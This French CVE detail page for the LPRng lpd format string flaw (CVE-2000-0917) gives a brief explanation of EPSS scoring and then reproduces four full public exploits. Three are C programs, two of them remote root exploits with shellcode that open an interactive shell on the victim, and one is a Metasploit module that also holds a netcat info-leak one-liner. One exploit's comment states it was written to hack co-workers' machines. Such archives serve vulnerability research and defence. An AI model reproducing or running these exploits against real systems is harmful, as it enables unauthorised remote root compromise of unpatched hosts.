CVE-2000-0917 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* * Copyright (c) 2000 - Security.is * * The following material may be freely redistributed, provided * that the code or the disclaimer have not been partly removed, * altered or modified in any way. The material is the property * of security.is. You are allowed to adopt the represented code * in your programs, given that you give credits where it's due. * * security.is presents: LPRng/Linux remote root lpd exploit. * * Author: DiGiT - teddi@linux.is * * Thanks to: portal for elite formatstring talent ;> * Greets to: security.is, #!ADM * * Wrote it because I wanted to hack my co-workers machines ;> * * Run: ./SEClpd victim brute -t type * Try first ./SEClpd victim -t 0 then try the brute. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #define ADDRESS_BUFFER_SIZE 32+4 #define APPEND_BUFFER_SIZE 52 #define FORMAT_LENGTH 512-8 #define NOPCOUNT 200 #define SHELLCODE_COUNT 1030 #define DELAY 50000 /* usecs */ #define OFFSET_LIMIT 5000 char shellcode[] = "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; struct target { char *os_name; u_long eip_address; u_long shellcode_address; unsigned int position; int written_bytes; int align; }; struct target targets[] = { { "RedHat 7.0 - Guinesss ", 0xbffff3ec, 0L, 300, 70, 2, }, { "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2, }, { NULL, 0L, 0L, 0, 0, 0 } }; static char address_buffer[ADDRESS_BUFFER_SIZE+1]; static char append_buffer[APPEND_BUFFER_SIZE+1]; static char shellcode_buffer[1024]; static char *hostname=NULL; static int offset; static struct hostent *he; int type=-1; int brute=-1, failure=1; void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc) { int i; unsigned int tmp = 0; unsigned int copied = previous; unsigned int num[4] = { (unsigned int) (shellcode_addr & 0x000000ff), (unsigned int)((shellcode_addr & 0x0000ff00) >> 8), (unsigned int)((shellcode_addr & 0x00ff0000) >> 16), (unsigned int)((shellcode_addr & 0xff000000) >> 24) }; memset (address_buffer, '\0', sizeof(address_buffer)); memset (append_buffer, '\0', sizeof(append_buffer)); for (i = 0; i < 4; i++) { while (copied > 0x100) copied -= 0x100; if ( (i > 0) && (num[i-1] == num[i]) ) sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); else if (copied < num[i]) { if ( (num[i] - copied) <= 10) { sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i] - copied), "security.is!"); copied += (num[i] - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } else { sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied); copied += (num[i] - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } } else { tmp = ((num[i] + 0x100) - copied); sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp); copied += ((num[i] + 0x100) - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c", (unsigned char) ((eip_addr+i) & 0x000000ff), (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8), (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16), (unsigned char)(((eip_addr+i) & 0xff000000) >> 24)); } while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE) strcat (address_buffer, "X"); #ifdef DEBUG printf ("\nGeneration complete:\nAddress: "); for (i = 0; i < strlen(address_buffer); i++) { if ( ((i % 4) == 0) && (i > 0) ) printf ("."); printf ("%02x", (unsigned char)address_buffer[i]); } printf ("\nAppend: %s\n", append_buffer); #endif return; } char *create_malicious_string(void) { static char format_buffer[FORMAT_LENGTH+1]; long addr1,addr2; int i; memset (format_buffer, '\0', sizeof(format_buffer)); targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT; addr1 = targets[type].eip_address; addr2 = targets[type].shellcode_address; calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position); (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s", targets[type].align, "BBBB", address_buffer); strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1); strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1); for(i = 0 ; i < NOPCOUNT ; i++) strcat(format_buffer, "\x90"); strcat(format_buffer, shellcode); return (format_buffer); } int connect_victim() { int sockfd, n; struct sockaddr_in s; fd_set fd_stat; char buff[1024]; static char testcmd[256] = "/bin/uname -a ; id ;\r\n"; s.sin_family = AF_INET; s.sin_port = htons (3879); s.sin_addr.s_addr = *(u_long *)he->h_addr; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { printf ("--- [5] Unable to create socket!\n"); printf("Exploit failed!\n"); return -1; } if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0) { return -1; } if(brute) printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address); printf("- [+] shell located on %s\n", hostname); printf("- [+] Enter Commands at will\n\n"); failure = -1; FD_ZERO(&fd_stat); FD_SET(sockfd, &fd_stat); send(sockfd, testcmd, strlen(testcmd), 0); while(1) { FD_SET(sockfd,&fd_stat); FD_SET(0,&fd_stat); if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break; if( FD_ISSET(sockfd, &fd_stat) ) { if((n=read(sockfd,buff,sizeof(buff)))<0){ fprintf(stderr, "EOF\n"); return 2; } if(write(1,buff,n)<0)break; } if ( FD_ISSET(0, &fd_stat) ) { if((n=read(0,buff,sizeof(buff)))<0){ fprintf(stderr,"EOF\n"); return 2; } if(send(sockfd,buff,n,0)<0) break; } } } void send_code(char *exploit_buffer) { int sockfd, n; struct sockaddr_in s; fd_set fd_stat; char recv[1024]; static char testcmd[256] = "/bin/uname -a ; id ;\r\n"; s.sin_family = AF_INET; s.sin_port = htons (515); s.sin_addr.s_addr = *(u_long *)he->h_addr; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { printf ("--- [5] Unable to create socket!\n"); printf("Exploit failed!\n"); exit(-1); } if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0) { printf ("--- [5] Unable to connect to %s\n", hostname); printf("Exploit failed, %s is not running LPD!\n", hostname); exit(-1); } usleep(DELAY); if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0) { printf ("Couldn't write to socket %d", sockfd); printf ("Exploit failed\n"); exit(2); } close(sockfd); connect_victim(); } void usage(char *program) { int i=0; printf("SEClpd by DiGiT of ADM/security.is ! \n\n"); printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n", program); printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n"); printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n"); printf("Types:\n\n"); while( targets[i].os_name != NULL) printf ("[ Type %d: [ %s ]\n", i++, targets[i].os_name); } int main(int argc, char **argv) { char exploit_buffer[1024]; char *format = NULL; int c, brutecount=0; if(argc < 3) { usage(argv[0]); return 1; } hostname = argv[1]; if(!strncmp(argv[2], "brute", 5)) brute = 1; while(( c = getopt (argc, argv, "t:r:c:a:o:p:w:k"))!= EOF){ switch (c) { case 't': type = atoi(optarg); break; case 'r': targets[type].eip_address = strtoul(optarg, NULL, 16); break; case 'c': targets[type].shellcode_address = strtoul(optarg, NULL, 16); break; case 'a': targets[type].align = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case 'p': targets[type].position = atoi(optarg); break; case 'w': targets[type].written_bytes = atoi(optarg); break; default: usage(argv[0]); return 1; } } if(type < 0) { printf("You must specify a type!\n"); printf("example: ./SEClpd victim -t 0\n"); return -1; } if ( (he = gethostbyname (hostname)) == NULL) { herror("gethostbyname"); exit(1); } targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT; printf("+++ Security.is remote exploit for LPRng/lpd by DiGiT\n\n"); printf("+++ Exploit information\n"); printf("+++ Victim: %s\n", hostname); printf("+++ Type: %d - %s\n", type, targets[type].os_name); printf("+++ Eip address: 0x%x\n", targets[type].eip_address); printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address); printf("+++ Position: %d\n", targets[type].position); printf("+++ Alignment: %d\n", targets[type].align); printf("+++ Offset %d\n", offset); printf("\n"); printf("+++ Attacking %s with our format string\n", hostname); if( brute > 0 ) { printf("+++ Brute force man, relax and enjoy the ride ;>\n"); targets[type].eip_address = 0xbffffff0; while(failure) { memset(exploit_buffer, '\0', sizeof(exploit_buffer)); format = create_malicious_string(); strcpy(exploit_buffer, address_buffer); strcat(exploit_buffer, format); strcat(exploit_buffer, "\n"); send_code(exploit_buffer); targets[type].eip_address = 0xbffffff0 - offset; offset+=4; if (offset > OFFSET_LIMIT) { printf("+++ Offset limit hit, ending brute mode ;<\n"); return -1; } } } else format = create_malicious_string(); strcpy(exploit_buffer, address_buffer); strcat(exploit_buffer, format); strcat(exploit_buffer, "\n"); send_code(exploit_buffer); printf("Argh exploit failed$#%! try brute force!\n"); return (-1); } // milw0rm.com [2000-12-11]

## # $Id: lprng_format_string.rb 9666 2010-07-03 01:09:32Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Brute include Msf::Exploit::FormatString def initialize(info = {}) super(update_info(info, 'Name' => 'LPRng use_syslog Remote Format String Vulnerability', 'Description' => %q{ This module exploits a format string vulnerability in the LPRng print server. This vulnerability was discovered by Chris Evans. There was a publicly circulating worm targeting this vulnerability, which prompted RedHat to pull their 7.0 release. They consequently re-released it as "7.0-respin". }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9666 $', 'References' => [ [ 'CVE', '2000-0917' ], [ 'OSVDB', '421' ], [ 'BID', '1712' ], [ 'US-CERT-VU', '382365' ], [ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ], [ 'URL', 'http://www.exploit-db.com/exploits/226' ], [ 'URL', 'http://www.exploit-db.com/exploits/227' ], [ 'URL', 'http://www.exploit-db.com/exploits/230' ] ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Privileged' => true, # root 'DefaultOptions' => { 'PrependSetresuid' => true }, 'Payload' => { 'Space' => 130, # buffer size on caldera is 180! (need ~50 for fmt) 'BadChars' => "\x00\x0a\x20\x25", }, 'Targets' => [ # tested OK - jjd [ 'Caldera OpenLinux 2.3 Bruteforce', { 'Platform' => 'linux', 'NumPops' => 243, 'FlowHook' => 0x80992d4, # GOT of exit # (0x809c180+(41+4+10+48)) - data segment, but gets corrupted 'Bruteforce' => { 'Start' => { 'Ret' => 0xcffffff4 }, 'Stop' => { 'Ret' => 0x7fffe004 }, 'Step' => 16 } } ], =begin # untested (from public exploits) [ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell', { 'NumPops' => 299, 'Ret' => 0xbffff640, 'FlowHook' => 0xbfffee30 } ], [ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5', { 'NumPops' => 304, 'Ret' => 0xbffff920, 'FlowHook' => 0xbffff0f0 } ], [ 'RedHat 7.0 - Guinesss', { 'NumPops' => 300, 'Ret' => 0x41424344, 'FlowHook' => 0xbffff3ec } ], [ 'RedHat 7.0 - Guinesss-dev', { 'NumPops' => 300, 'Ret' => 0x41424344, 'FlowHook' => 0xbffff12c } ], =end # ... [ 'Debug', { 'NumPops' => 1, # sure to miss. 'Ret' => 0x41424344, 'FlowHook' => 0x45464748 } ] ], # 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 25 2000')) register_options( [ Opt::RPORT(515) ], self.class ) end def exploit # we want to use DPA for this one :) fmtstr_set_caps(false, true) # check syslog to see which number hits 41414141 =begin 400.times { |x| connect buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1] sock.put(buf) #handler disconnect } =end print_status("Trying target #{target.name} ..") super end def brute_exploit(addrs) #print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret']) printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ... num_start = printed.length + 2 + 4 # write 'ret' addr to flowhook (execute shellcode) # NOTE: the resulting two writes must be done at the same time # characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog) fmtbuf = "_" * 4 fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret']) #print_status(" hijacker format string buffer is #{fmtbuf.length} bytes") # append payload and newline #fmtbuf << payload.encoded fmtbuf << "\x90" * 32 fmtbuf << Rex::Text.charset_exclude(payload_badchars) fmtbuf << "\n" print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']]) connect #print_status("Sleeping, attach now!!") #select(nil,nil,nil,5) sock.put(fmtbuf) handler disconnect end end =begin HRM! The following causes info leakage! bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC There are various other ways to trigger the vulnerability. LPD uses the single-byte commands 0x01 -> 0x09... It's unclear if there is a way to auto-detect the lpd version via LPD commands. =end

/* * LPRng remote root exploit for x86 Linux * 9/27/00 * * - sk8 * tested on compiled LPRng 3.6.22/23/24 * */ #include <unistd.h> #include <stdio.h> char sc[]= "\x29\xdb\x29\xc0\x29\xd2\x31\xc9\xfe\xca\xb0\x46\xcd\x80\x29\xff" "\x47\x47\x47\x43\x43\x43\x31\xc9\x29\xc0\xb0\x3f\xcd\x80\x41\x39" "\xf9\x75\xf5\x39\xd3\x7e\xee\xeb\x19\x5e\x89\xf3\x89\xf7\x83\xc7" "\x07\x31\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x0b" "\xcd\x80\xe8\xe2\xff\xff\xff/bin/sh"; #define NOP 0x90 //will be split up, doesn't matter int main(int argc, char** argv) { char getbuf[1000]; int bpad=0; /* was 2 */ /* 3 for other */ /* 2 - -34 3 - -41 0 - -42 */ int i=0; int eiploc=0x41424344; char buffer[1024]; char fmtbuf[128]; int shloc=-1; //0xbffff2c8; int hi=100; int lo=200; int pre=0; int align=-36; int pos=511; //483; //488; /*299;*/ int debug=0; char s=0; char mode='n'; while ((s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) { switch(s) { case 'a': align=atoi(optarg); break; case 'b': bpad=atoi(optarg); break; case 'e': eiploc=strtoul(optarg, 0,0); break; case 's': shloc=strtoul(optarg, 0, 0); break; case 'p': pos=atoi(optarg); break; case 'd': debug=1; break; default: } } if (shloc == -1) shloc=eiploc+2450; memset(buffer, 0, sizeof(buffer)); memset(fmtbuf, 0, sizeof(fmtbuf)); memset(buffer, 'B', bpad); *(long*)(buffer+strlen(buffer))=eiploc+2; *(long*)(buffer+strlen(buffer))=0x50505050; *(long*)(buffer+strlen(buffer))=eiploc; pre=strlen(buffer); if (debug) { mode='p'; hi=100; lo=100; } else { hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */ lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff); } sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2, mode); strcat(buffer+strlen(buffer), fmtbuf); /* make it easier to hit shellcode */ memset(buffer+strlen(buffer), NOP, 385); strcat(buffer, sc); *(char*)(buffer+strlen(buffer))=0; fprintf(stderr, "strlen(fmtbuf): %i\n", strlen(fmtbuf)); fprintf(stderr, "pos: %i\n", pos); fprintf(stderr, "align: %i\n", align); fprintf(stderr, "eip location: 0x%x\n", eiploc); fprintf(stderr, "shellcode location: 0x%x\n", shloc); fprintf(stderr, "strlen(sc): %i\n", strlen(sc)); fprintf(stderr, "strlen(buffer): %i\n", strlen(buffer)); printf("%s", buffer); putchar('\n'); } // milw0rm.com [2000-12-11]

/* * REMOTE ROOT EXPLOIT for linux x86 - LPRng-3.6.24-1 (RedHat 7.0) * * The RedHat 7.0 replaced the BSD lpr with the LPRng package which is * vulnerable to format string attacks because it passes information * to the syslog incorrectly. * You can get remote root access on machines running RedHat 7.0 with * lpd running (port 515/tcp) if it is not fixed, of course (3.6.25). * * bonus: I tested it too on slackware 7.0 with LPRng3.6.22-1, remember * is -not- installed by default (isnt a package of the slackware). * * and,.. this code is for educational propourses only, do not use * it on remote machines without authorization. * * greets: bruj0, ka0z, dn0, #rdC and #flatline * * coded by venomous of rdC - Argentinian security group. * venomous@rdcrew.com.ar * http://www.rdcrew.com.ar * */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <unistd.h> #include <errno.h> #include <time.h> #include <signal.h> char shellcode[]= // not mine "\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67\x5f\x8d\x4f" "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08" "\x89\x41\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10" "\xb0\x66\xcd\x80\xfe\xc0\x80\x79\x0c\x02\x75\x04\x3c" "\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0\xfe" "\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80" "\xfe\xc1\x80\xf9\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2" "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0" "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68"; void usage(char *prog); void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding , int fsc); void sigint(); void sigalarm(); void mk_connect(char victim[128], int port); char yahoo[1024]; struct os { char *addr; char *shelladdr; char *desc; int addroffset; int shelladdroffset; int pad; int fsc; }; /* generally, the addresses are wrong for a very small value,, i recommend * that you bruteforce the retloc + or - by 1..(ex: -50 to +50, steps of 1) * if it dont work, try the same but changing the fsc (this is the value * of when we start to control the formats strings), start from 290 until * 330, it should be enough. * and if it still dont work,, :|, try with the offset of the shellcode * address, this buffer has nops, so it shouldnt be difficult to guess. * make a .sh! :) * of course, you can start gdb on your box(es) and dont guess nothing * just inspect the program and get the correct values! * * -venomous */ struct os target[]= { {"0xbfffee30", "0xbffff640", "Slackware 7.0 with LPRng-3.6.22.tgz - started from shell", 0, 0, 2, 299}, {"0xbffff0f0", "0xbffff920", "RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5", 0, 0, 2, 304}, {NULL,NULL,NULL,0,0} }; main(int argc, char *argv[]) { int port=515, so=0, padding=0, retlocoffset=0, shellcodeoffset=0, fscT=0; char arg, victim[128], rl[128], sh[128]; if(argc < 3) usage(argv[0]); bzero(victim,sizeof(victim)); bzero(rl,sizeof(rl)); bzero(sh,sizeof(sh)); while ((arg = getopt(argc, argv, "h:p:r:s:t:P:R:S:c")) != EOF) { switch(arg) { case 'h': strncpy(victim,optarg,128); break; case 'p': port = atoi(optarg); break; case 'r': strncpy(rl,optarg,128); break; case 's': strncpy(sh,optarg,128); break; case 't': so = atoi(optarg); break; case 'P': padding = atoi(optarg); break; case 'R': retlocoffset = atoi(optarg); break; case 'S': shellcodeoffset = atoi(optarg); break; case 'c': fscT = atoi(optarg); break; default: usage(argv[0]); break; } } if(strlen(victim) == 0) usage(argv[0]); if (strcmp(rl,"")) target[so].addr = rl; if (strcmp(sh,"")) target[so].shelladdr = sh; if (retlocoffset != 0) target[so].addroffset = target[so].addroffset + retlocoffset; if (shellcodeoffset != 0) target[so].shelladdroffset = target[so].shelladdroffset + shellcodeoffset; if (padding != 0) target[so].pad = target[so].pad + padding; if (fscT != 0) target[so].fsc = target[so].fsc + fscT; signal(SIGINT, sigint); makebuffer(target[so].addr, target[so].shelladdr, target[so].addroffset, target[so].shelladdroffset, target[so].pad, target[so].fsc); mk_connect(victim, port); } void makebuffer(char *addr, char *shaddr, int addroffset, int shoffset, int padding, int fsc) { char *tmp, addrtmp[216], ot[128]; int i,b,x,t; unsigned long pt; char temp[128]; char a1,a2,a3,a4,a5,a6,a7,a8; char fir[12],sec[12],thr[12],f0r[12]; unsigned long firl,secl,thrl,forl; unsigned long pas1,pas2,pas3,pas4; bzero(yahoo,sizeof(yahoo)); bzero(ot,sizeof(ot)); bzero(addrtmp,sizeof(addrtmp)); printf("** LPRng remote root exploit coded by venomous of rdC **\n"); printf("\nconstructing the buffer:\n\n"); printf("adding bytes for padding: %d\n",padding); for(i=0 ; i < padding ; i++) strcat(yahoo,"A"); tmp = addr; pt = strtoul(addr, &addr,16) + addroffset; addr = tmp; printf("retloc: %s + offset(%d) == %p\n", addr, addroffset, pt); printf("adding resulting retloc(%p)..\n",pt); sprintf(addrtmp, "%p", pt); if(strlen(addr) != 10) { printf("Error, retloc is %d bytes long, should be 10\n",strlen(addr)); exit(1); } pt = 0; for (i=0 ; i < 4 ; i++) { pt = strtoul(addrtmp, &addrtmp, 16); //strcat(yahoo, &pt); bzero(ot,sizeof(ot)); sprintf(ot,"%s",&pt); strncat(yahoo,ot,4); pt++; sprintf(addrtmp, "%p", pt); //printf("addrtmp:%s :yahoo %s\n",addrtmp,yahoo); } tmp = shaddr; pt = 0; pt = strtoul(shaddr,&shaddr,16) + shoffset; sprintf(ot,"%p",pt); shaddr = ot; printf("adding shellcode address(%s)\n", shaddr); sscanf(shaddr,"0x%c%c%c%c%c%c%c%c",&a1,&a2,&a3,&a4,&a5,&a6,&a7,&a8); sprintf(fir,"0x%c%c",a1,a2); sprintf(sec,"0x%c%c",a3,a4); sprintf(thr,"0x%c%c",a5,a6); sprintf(f0r,"0x%c%c",a7,a8); firl = strtoul(fir,&fir,16); secl = strtoul(sec,&sec,16); thrl = strtoul(thr,&thr,16); forl = strtoul(f0r,&f0r,16); pas1 = forl - 50 - padding; pas1 = check_negative(pas1); pas2 = thrl - forl; pas2 = check_negative(pas2); pas3 = secl - thrl; pas3 = check_negative(pas3); pas4 = firl - secl; pas4 = check_negative(pas4); sprintf(temp,"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,fsc, pas2, fsc+1, pas3, fsc+2,pas4, fsc+3); strcat(yahoo,temp); printf("adding nops..\n"); b = strlen(yahoo); for (i=0 ; i < (512-b-strlen(shellcode)) ; i++) yahoo[b+i] = '\x90'; printf("adding shellcode..\n"); b=+i; for (x=0 ; x < b ; x++) yahoo[b+x] = shellcode[x]; strcat(yahoo,"\n"); printf("all is prepared.. now lets connect to something..\n"); } check_negative(unsigned long addr) { char he[128]; sprintf(he,"%d",addr); if (atoi(he) < 0) addr = addr + 256; return addr; } void mk_connect(char victim[128], int port) { struct hostent *host; struct sockaddr_in den0n; int sox; den0n.sin_family = AF_INET; den0n.sin_port = htons(port); host = gethostbyname(victim); if (!host) { printf("cannot resolve, exiting...\n"); exit(0); } bcopy(host->h_addr, (struct in_addr *)&den0n.sin_addr, host->h_length); sox = socket(AF_INET, SOCK_STREAM, 0); signal(SIGALRM, sigalarm); alarm(10); printf("connecting to %s to port %d\n",host->h_name, port); if (connect(sox, (struct sockaddr *)&den0n, sizeof(struct sockaddr)) < 0) { putchar('\n'); perror("connect"); exit(1); } printf("connected!, sending the buffer...\n\n"); write(sox, yahoo , strlen(yahoo)); printf("%s\n", yahoo); sleep(1); alarm(0); runshell(sox); } int runshell(int sox) { fd_set rset; int n; char buffer[4096]; char *command="/bin/uname -a ; /usr/bin/id\n"; send(sox, command, strlen(command), 0); for (;;) { FD_ZERO (&rset); FD_SET (sox, &rset); FD_SET (STDIN_FILENO, &rset); n = select(sox + 1, &rset, NULL, NULL, NULL); if(n <= 0) return (-1); if(FD_ISSET (sox, &rset)) { n = recv (sox, buffer, sizeof (buffer), 0); if (n <= 0) break; write (STDOUT_FILENO, buffer, n); } if(FD_ISSET (STDIN_FILENO, &rset)) { n = read (STDIN_FILENO, buffer, sizeof (buffer)); if (n <= 0) break; send(sox, buffer, n, 0); } } return (0); } void sigalarm() { printf("connection timed out, exiting...\n"); exit(0); } void sigint() { printf("CAUGHT sigint, exiting...\n"); exit(0); } void usage(char *prog) { int i; printf("\n** LPRng remote root exploit coded by venomous of rdC **\n"); printf("Usage:\n\n"); printf("%s [-h hostname] <-p port> <-r addr> <-s shellcodeaddr> <-t type> <-P padding> <-R offset> <-S offset> <-c offset>\n\n", prog); printf("-h is the victim ip/host\n"); printf("-p select a different port to connect, default 515\n"); printf("-r is the address to overwrite\n"); printf("-s is the address of the shellcode\n"); printf("You can use a predefined addr/shellcodeaddr using -t <number>\n\n"); printf("availables types:\n\n"); for (i=0 ; target[i].desc != NULL ; i++) printf("%d - %s\n",i,target[i].desc); printf("\n-P is to define the padding to use, usually 2\n"); printf("-R the offset to add to <addr>\n"); printf("-S the offset to add to <shellcodeaddr>\n"); printf("-c where we start to control the format string\n\n"); exit(0); } // milw0rm.com [2000-12-15]